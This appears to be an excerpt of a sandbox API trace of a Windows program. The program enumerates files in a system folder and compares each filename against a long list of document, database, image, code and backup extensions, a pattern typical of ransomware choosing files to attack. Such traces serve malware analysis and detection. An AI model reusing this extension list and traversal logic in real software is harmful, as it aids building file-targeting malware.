	[0189.489] lstrlenW (lpString=".db") returned 3
	[0189.489] lstrcmpiW (lpString1=".db", lpString2="inc") returned -1
	[0189.489] lstrlenW (lpString=".dbf") returned 4
	[0189.489] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".dbx") returned 4
	[0189.489] lstrcmpiW (lpString1=".dbx", lpString2=".inc") returned -1
	[0189.489] lstrlenW (lpString=".dc3") returned 4
	[0189.490] lstrcmpiW (lpString1=".dc3", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".dcm") returned 4
	[0189.490] lstrcmpiW (lpString1=".dcm", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".dcr") returned 4
	[0189.490] lstrcmpiW (lpString1=".dcr", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".der") returned 4
	[0189.490] lstrcmpiW (lpString1=".der", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".dib") returned 4
	[0189.490] lstrcmpiW (lpString1=".dib", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".dic") returned 4
	[0189.490] lstrcmpiW (lpString1=".dic", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".dif") returned 4
	[0189.490] lstrcmpiW (lpString1=".dif", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".divx") returned 5
	[0189.490] lstrcmpiW (lpString1=".divx", lpString2="s.inc") returned -1
	[0189.490] lstrlenW (lpString=".djvu") returned 5
	[0189.490] lstrcmpiW (lpString1=".djvu", lpString2="s.inc") returned -1
	[0189.490] lstrlenW (lpString=".dng") returned 4
	[0189.490] lstrcmpiW (lpString1=".dng", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".doc") returned 4
	[0189.490] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".docm") returned 5
	[0189.490] lstrcmpiW (lpString1=".docm", lpString2="s.inc") returned -1
	[0189.490] lstrlenW (lpString=".docx") returned 5
	[0189.490] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.490] lstrlenW (lpString=".dot") returned 4
	[0189.490] lstrcmpiW (lpString1=".dot", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".dotm") returned 5
	[0189.490] lstrcmpiW (lpString1=".dotm", lpString2="s.inc") returned -1
	[0189.490] lstrlenW (lpString=".dotx") returned 5
	[0189.490] lstrcmpiW (lpString1=".dotx", lpString2="s.inc") returned -1
	[0189.490] lstrlenW (lpString=".dpx") returned 4
	[0189.490] lstrcmpiW (lpString1=".dpx", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".dqy") returned 4
	[0189.490] lstrcmpiW (lpString1=".dqy", lpString2=".inc") returned -1
	[0189.490] lstrlenW (lpString=".dsn") returned 4
	[0189.490] lstrcmpiW (lpString1=".dsn", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".dt") returned 3
	[0189.491] lstrcmpiW (lpString1=".dt", lpString2="inc") returned -1
	[0189.491] lstrlenW (lpString=".dtd") returned 4
	[0189.491] lstrcmpiW (lpString1=".dtd", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".dwg") returned 4
	[0189.491] lstrcmpiW (lpString1=".dwg", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".dwt") returned 4
	[0189.491] lstrcmpiW (lpString1=".dwt", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".dx") returned 3
	[0189.491] lstrcmpiW (lpString1=".dx", lpString2="inc") returned -1
	[0189.491] lstrlenW (lpString=".dxf") returned 4
	[0189.491] lstrcmpiW (lpString1=".dxf", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".edml") returned 5
	[0189.491] lstrcmpiW (lpString1=".edml", lpString2="s.inc") returned -1
	[0189.491] lstrlenW (lpString=".efd") returned 4
	[0189.491] lstrcmpiW (lpString1=".efd", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".elf") returned 4
	[0189.491] lstrcmpiW (lpString1=".elf", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".emf") returned 4
	[0189.491] lstrcmpiW (lpString1=".emf", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".emz") returned 4
	[0189.491] lstrcmpiW (lpString1=".emz", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".epf") returned 4
	[0189.491] lstrcmpiW (lpString1=".epf", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".eps") returned 4
	[0189.491] lstrcmpiW (lpString1=".eps", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".epsf") returned 5
	[0189.491] lstrcmpiW (lpString1=".epsf", lpString2="s.inc") returned -1
	[0189.491] lstrlenW (lpString=".epsp") returned 5
	[0189.491] lstrcmpiW (lpString1=".epsp", lpString2="s.inc") returned -1
	[0189.491] lstrlenW (lpString=".erf") returned 4
	[0189.491] lstrcmpiW (lpString1=".erf", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".exr") returned 4
	[0189.491] lstrcmpiW (lpString1=".exr", lpString2=".inc") returned -1
	[0189.491] lstrlenW (lpString=".f4v") returned 4
	[0189.492] lstrcmpiW (lpString1=".f4v", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".fido") returned 5
	[0189.492] lstrcmpiW (lpString1=".fido", lpString2="s.inc") returned -1
	[0189.492] lstrlenW (lpString=".flm") returned 4
	[0189.492] lstrcmpiW (lpString1=".flm", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".flv") returned 4
	[0189.492] lstrcmpiW (lpString1=".flv", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".frm") returned 4
	[0189.492] lstrcmpiW (lpString1=".frm", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".fxg") returned 4
	[0189.492] lstrcmpiW (lpString1=".fxg", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".geo") returned 4
	[0189.492] lstrcmpiW (lpString1=".geo", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".gif") returned 4
	[0189.492] lstrcmpiW (lpString1=".gif", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".grs") returned 4
	[0189.492] lstrcmpiW (lpString1=".grs", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".gz") returned 3
	[0189.492] lstrcmpiW (lpString1=".gz", lpString2="inc") returned -1
	[0189.492] lstrlenW (lpString=".h") returned 2
	[0189.492] lstrcmpiW (lpString1=".h", lpString2="nc") returned -1
	[0189.492] lstrlenW (lpString=".hdr") returned 4
	[0189.492] lstrcmpiW (lpString1=".hdr", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".hpp") returned 4
	[0189.492] lstrcmpiW (lpString1=".hpp", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".hta") returned 4
	[0189.492] lstrcmpiW (lpString1=".hta", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".htc") returned 4
	[0189.492] lstrcmpiW (lpString1=".htc", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".htm") returned 4
	[0189.492] lstrcmpiW (lpString1=".htm", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".html") returned 5
	[0189.492] lstrcmpiW (lpString1=".html", lpString2="s.inc") returned -1
	[0189.492] lstrlenW (lpString=".icb") returned 4
	[0189.492] lstrcmpiW (lpString1=".icb", lpString2=".inc") returned -1
	[0189.492] lstrlenW (lpString=".ics") returned 4
	[0189.493] lstrcmpiW (lpString1=".ics", lpString2=".inc") returned -1
	[0189.493] lstrlenW (lpString=".iff") returned 4
	[0189.493] lstrcmpiW (lpString1=".iff", lpString2=".inc") returned -1
	[0189.493] lstrlenW (lpString=".inc") returned 4
	[0189.493] lstrcmpiW (lpString1=".inc", lpString2=".inc") returned 0
	[0189.493] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1
	[0189.493] lstrlenW (lpString="adcvbs.inc") returned 10
	[0189.493] lstrlenW (lpString=".1cd") returned 4
	[0189.493] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.493] lstrlenW (lpString=".3ds") returned 4
	[0189.493] lstrcmpiW (lpString1=".3ds", lpString2=".inc") returned -1
	[0189.493] lstrlenW (lpString=".3fr") returned 4
	[0189.493] lstrcmpiW (lpString1=".3fr", lpString2=".inc") returned -1
	[0189.493] lstrlenW (lpString=".3g2") returned 4
	[0189.493] lstrcmpiW (lpString1=".3g2", lpString2=".inc") returned -1
	[0189.493] lstrlenW (lpString=".3gp") returned 4
	[0189.493] lstrcmpiW (lpString1=".3gp", lpString2=".inc") returned -1
	[0189.493] lstrlenW (lpString=".7z") returned 3
	[0189.493] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.493] lstrlenW (lpString=".accda") returned 6
	[0189.493] lstrcmpiW (lpString1=".accda", lpString2="bs.inc") returned -1
	[0189.493] lstrlenW (lpString=".accdb") returned 6
	[0189.493] lstrcmpiW (lpString1=".accdb", lpString2="bs.inc") returned -1
	[0189.493] lstrlenW (lpString=".accdc") returned 6
	[0189.493] lstrcmpiW (lpString1=".accdc", lpString2="bs.inc") returned -1
	[0189.493] lstrlenW (lpString=".accde") returned 6
	[0189.493] lstrcmpiW (lpString1=".accde", lpString2="bs.inc") returned -1
	[0189.493] lstrlenW (lpString=".accdt") returned 6
	[0189.493] lstrcmpiW (lpString1=".accdt", lpString2="bs.inc") returned -1
	[0189.493] lstrlenW (lpString=".accdw") returned 6
	[0189.493] lstrcmpiW (lpString1=".accdw", lpString2="bs.inc") returned -1
	[0189.493] lstrlenW (lpString=".adb") returned 4
	[0189.493] lstrcmpiW (lpString1=".adb", lpString2=".inc") returned -1
	[0189.493] lstrlenW (lpString=".adp") returned 4
	[0189.493] lstrcmpiW (lpString1=".adp", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".ai") returned 3
	[0189.494] lstrcmpiW (lpString1=".ai", lpString2="inc") returned -1
	[0189.494] lstrlenW (lpString=".ai3") returned 4
	[0189.494] lstrcmpiW (lpString1=".ai3", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".ai4") returned 4
	[0189.494] lstrcmpiW (lpString1=".ai4", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".ai5") returned 4
	[0189.494] lstrcmpiW (lpString1=".ai5", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".ai6") returned 4
	[0189.494] lstrcmpiW (lpString1=".ai6", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".ai7") returned 4
	[0189.494] lstrcmpiW (lpString1=".ai7", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".ai8") returned 4
	[0189.494] lstrcmpiW (lpString1=".ai8", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".anim") returned 5
	[0189.494] lstrcmpiW (lpString1=".anim", lpString2="s.inc") returned -1
	[0189.494] lstrlenW (lpString=".arw") returned 4
	[0189.494] lstrcmpiW (lpString1=".arw", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".as") returned 3
	[0189.494] lstrcmpiW (lpString1=".as", lpString2="inc") returned -1
	[0189.494] lstrlenW (lpString=".asa") returned 4
	[0189.494] lstrcmpiW (lpString1=".asa", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".asc") returned 4
	[0189.494] lstrcmpiW (lpString1=".asc", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".ascx") returned 5
	[0189.494] lstrcmpiW (lpString1=".ascx", lpString2="s.inc") returned -1
	[0189.494] lstrlenW (lpString=".asm") returned 4
	[0189.494] lstrcmpiW (lpString1=".asm", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".asmx") returned 5
	[0189.494] lstrcmpiW (lpString1=".asmx", lpString2="s.inc") returned -1
	[0189.494] lstrlenW (lpString=".asp") returned 4
	[0189.494] lstrcmpiW (lpString1=".asp", lpString2=".inc") returned -1
	[0189.494] lstrlenW (lpString=".aspx") returned 5
	[0189.494] lstrcmpiW (lpString1=".aspx", lpString2="s.inc") returned -1
	[0189.494] lstrlenW (lpString=".asr") returned 4
	[0189.494] lstrcmpiW (lpString1=".asr", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".asx") returned 4
	[0189.495] lstrcmpiW (lpString1=".asx", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".avi") returned 4
	[0189.495] lstrcmpiW (lpString1=".avi", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".avs") returned 4
	[0189.495] lstrcmpiW (lpString1=".avs", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".backup") returned 7
	[0189.495] lstrcmpiW (lpString1=".backup", lpString2="vbs.inc") returned -1
	[0189.495] lstrlenW (lpString=".bak") returned 4
	[0189.495] lstrcmpiW (lpString1=".bak", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".bay") returned 4
	[0189.495] lstrcmpiW (lpString1=".bay", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".bd") returned 3
	[0189.495] lstrcmpiW (lpString1=".bd", lpString2="inc") returned -1
	[0189.495] lstrlenW (lpString=".bin") returned 4
	[0189.495] lstrcmpiW (lpString1=".bin", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".bmp") returned 4
	[0189.495] lstrcmpiW (lpString1=".bmp", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".bz2") returned 4
	[0189.495] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".c") returned 2
	[0189.495] lstrcmpiW (lpString1=".c", lpString2="nc") returned -1
	[0189.495] lstrlenW (lpString=".cdr") returned 4
	[0189.495] lstrcmpiW (lpString1=".cdr", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".cer") returned 4
	[0189.495] lstrcmpiW (lpString1=".cer", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".cf") returned 3
	[0189.495] lstrcmpiW (lpString1=".cf", lpString2="inc") returned -1
	[0189.495] lstrlenW (lpString=".cfc") returned 4
	[0189.495] lstrcmpiW (lpString1=".cfc", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".cfm") returned 4
	[0189.495] lstrcmpiW (lpString1=".cfm", lpString2=".inc") returned -1
	[0189.495] lstrlenW (lpString=".cfml") returned 5
	[0189.495] lstrcmpiW (lpString1=".cfml", lpString2="s.inc") returned -1
	[0189.496] lstrlenW (lpString=".cfu") returned 4
	[0189.496] lstrcmpiW (lpString1=".cfu", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".chm") returned 4
	[0189.496] lstrcmpiW (lpString1=".chm", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".cin") returned 4
	[0189.496] lstrcmpiW (lpString1=".cin", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".class") returned 6
	[0189.496] lstrcmpiW (lpString1=".class", lpString2="bs.inc") returned -1
	[0189.496] lstrlenW (lpString=".clx") returned 4
	[0189.496] lstrcmpiW (lpString1=".clx", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".config") returned 7
	[0189.496] lstrcmpiW (lpString1=".config", lpString2="vbs.inc") returned -1
	[0189.496] lstrlenW (lpString=".cpp") returned 4
	[0189.496] lstrcmpiW (lpString1=".cpp", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".cr2") returned 4
	[0189.496] lstrcmpiW (lpString1=".cr2", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".crt") returned 4
	[0189.496] lstrcmpiW (lpString1=".crt", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".crw") returned 4
	[0189.496] lstrcmpiW (lpString1=".crw", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".cs") returned 3
	[0189.496] lstrcmpiW (lpString1=".cs", lpString2="inc") returned -1
	[0189.496] lstrlenW (lpString=".css") returned 4
	[0189.496] lstrcmpiW (lpString1=".css", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".csv") returned 4
	[0189.496] lstrcmpiW (lpString1=".csv", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".cub") returned 4
	[0189.496] lstrcmpiW (lpString1=".cub", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".dae") returned 4
	[0189.496] lstrcmpiW (lpString1=".dae", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".dat") returned 4
	[0189.496] lstrcmpiW (lpString1=".dat", lpString2=".inc") returned -1
	[0189.496] lstrlenW (lpString=".db") returned 3
	[0189.496] lstrcmpiW (lpString1=".db", lpString2="inc") returned -1
	[0189.496] lstrlenW (lpString=".dbf") returned 4
	[0189.497] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".dbx") returned 4
	[0189.497] lstrcmpiW (lpString1=".dbx", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".dc3") returned 4
	[0189.497] lstrcmpiW (lpString1=".dc3", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".dcm") returned 4
	[0189.497] lstrcmpiW (lpString1=".dcm", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".dcr") returned 4
	[0189.497] lstrcmpiW (lpString1=".dcr", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".der") returned 4
	[0189.497] lstrcmpiW (lpString1=".der", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".dib") returned 4
	[0189.497] lstrcmpiW (lpString1=".dib", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".dic") returned 4
	[0189.497] lstrcmpiW (lpString1=".dic", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".dif") returned 4
	[0189.497] lstrcmpiW (lpString1=".dif", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".divx") returned 5
	[0189.497] lstrcmpiW (lpString1=".divx", lpString2="s.inc") returned -1
	[0189.497] lstrlenW (lpString=".djvu") returned 5
	[0189.497] lstrcmpiW (lpString1=".djvu", lpString2="s.inc") returned -1
	[0189.497] lstrlenW (lpString=".dng") returned 4
	[0189.497] lstrcmpiW (lpString1=".dng", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".doc") returned 4
	[0189.497] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".docm") returned 5
	[0189.497] lstrcmpiW (lpString1=".docm", lpString2="s.inc") returned -1
	[0189.497] lstrlenW (lpString=".docx") returned 5
	[0189.497] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.497] lstrlenW (lpString=".dot") returned 4
	[0189.497] lstrcmpiW (lpString1=".dot", lpString2=".inc") returned -1
	[0189.497] lstrlenW (lpString=".dotm") returned 5
	[0189.497] lstrcmpiW (lpString1=".dotm", lpString2="s.inc") returned -1
	[0189.497] lstrlenW (lpString=".dotx") returned 5
	[0189.497] lstrcmpiW (lpString1=".dotx", lpString2="s.inc") returned -1
	[0189.497] lstrlenW (lpString=".dpx") returned 4
	[0189.498] lstrcmpiW (lpString1=".dpx", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".dqy") returned 4
	[0189.498] lstrcmpiW (lpString1=".dqy", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".dsn") returned 4
	[0189.498] lstrcmpiW (lpString1=".dsn", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".dt") returned 3
	[0189.498] lstrcmpiW (lpString1=".dt", lpString2="inc") returned -1
	[0189.498] lstrlenW (lpString=".dtd") returned 4
	[0189.498] lstrcmpiW (lpString1=".dtd", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".dwg") returned 4
	[0189.498] lstrcmpiW (lpString1=".dwg", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".dwt") returned 4
	[0189.498] lstrcmpiW (lpString1=".dwt", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".dx") returned 3
	[0189.498] lstrcmpiW (lpString1=".dx", lpString2="inc") returned -1
	[0189.498] lstrlenW (lpString=".dxf") returned 4
	[0189.498] lstrcmpiW (lpString1=".dxf", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".edml") returned 5
	[0189.498] lstrcmpiW (lpString1=".edml", lpString2="s.inc") returned -1
	[0189.498] lstrlenW (lpString=".efd") returned 4
	[0189.498] lstrcmpiW (lpString1=".efd", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".elf") returned 4
	[0189.498] lstrcmpiW (lpString1=".elf", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".emf") returned 4
	[0189.498] lstrcmpiW (lpString1=".emf", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".emz") returned 4
	[0189.498] lstrcmpiW (lpString1=".emz", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".epf") returned 4
	[0189.498] lstrcmpiW (lpString1=".epf", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".eps") returned 4
	[0189.498] lstrcmpiW (lpString1=".eps", lpString2=".inc") returned -1
	[0189.498] lstrlenW (lpString=".epsf") returned 5
	[0189.498] lstrcmpiW (lpString1=".epsf", lpString2="s.inc") returned -1
	[0189.498] lstrlenW (lpString=".epsp") returned 5
	[0189.498] lstrcmpiW (lpString1=".epsp", lpString2="s.inc") returned -1
	[0189.498] lstrlenW (lpString=".erf") returned 4
	[0189.499] lstrcmpiW (lpString1=".erf", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".exr") returned 4
	[0189.499] lstrcmpiW (lpString1=".exr", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".f4v") returned 4
	[0189.499] lstrcmpiW (lpString1=".f4v", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".fido") returned 5
	[0189.499] lstrcmpiW (lpString1=".fido", lpString2="s.inc") returned -1
	[0189.499] lstrlenW (lpString=".flm") returned 4
	[0189.499] lstrcmpiW (lpString1=".flm", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".flv") returned 4
	[0189.499] lstrcmpiW (lpString1=".flv", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".frm") returned 4
	[0189.499] lstrcmpiW (lpString1=".frm", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".fxg") returned 4
	[0189.499] lstrcmpiW (lpString1=".fxg", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".geo") returned 4
	[0189.499] lstrcmpiW (lpString1=".geo", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".gif") returned 4
	[0189.499] lstrcmpiW (lpString1=".gif", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".grs") returned 4
	[0189.499] lstrcmpiW (lpString1=".grs", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".gz") returned 3
	[0189.499] lstrcmpiW (lpString1=".gz", lpString2="inc") returned -1
	[0189.499] lstrlenW (lpString=".h") returned 2
	[0189.499] lstrcmpiW (lpString1=".h", lpString2="nc") returned -1
	[0189.499] lstrlenW (lpString=".hdr") returned 4
	[0189.499] lstrcmpiW (lpString1=".hdr", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".hpp") returned 4
	[0189.499] lstrcmpiW (lpString1=".hpp", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".hta") returned 4
	[0189.499] lstrcmpiW (lpString1=".hta", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".htc") returned 4
	[0189.499] lstrcmpiW (lpString1=".htc", lpString2=".inc") returned -1
	[0189.499] lstrlenW (lpString=".htm") returned 4
	[0189.499] lstrcmpiW (lpString1=".htm", lpString2=".inc") returned -1
	[0189.500] lstrlenW (lpString=".html") returned 5
	[0189.500] lstrcmpiW (lpString1=".html", lpString2="s.inc") returned -1
	[0189.500] lstrlenW (lpString=".icb") returned 4
	[0189.500] lstrcmpiW (lpString1=".icb", lpString2=".inc") returned -1
	[0189.500] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0189.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2498
	[0189.500] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.500] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1
	[0189.501] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1
	[0189.501] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1
	[0189.501] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1
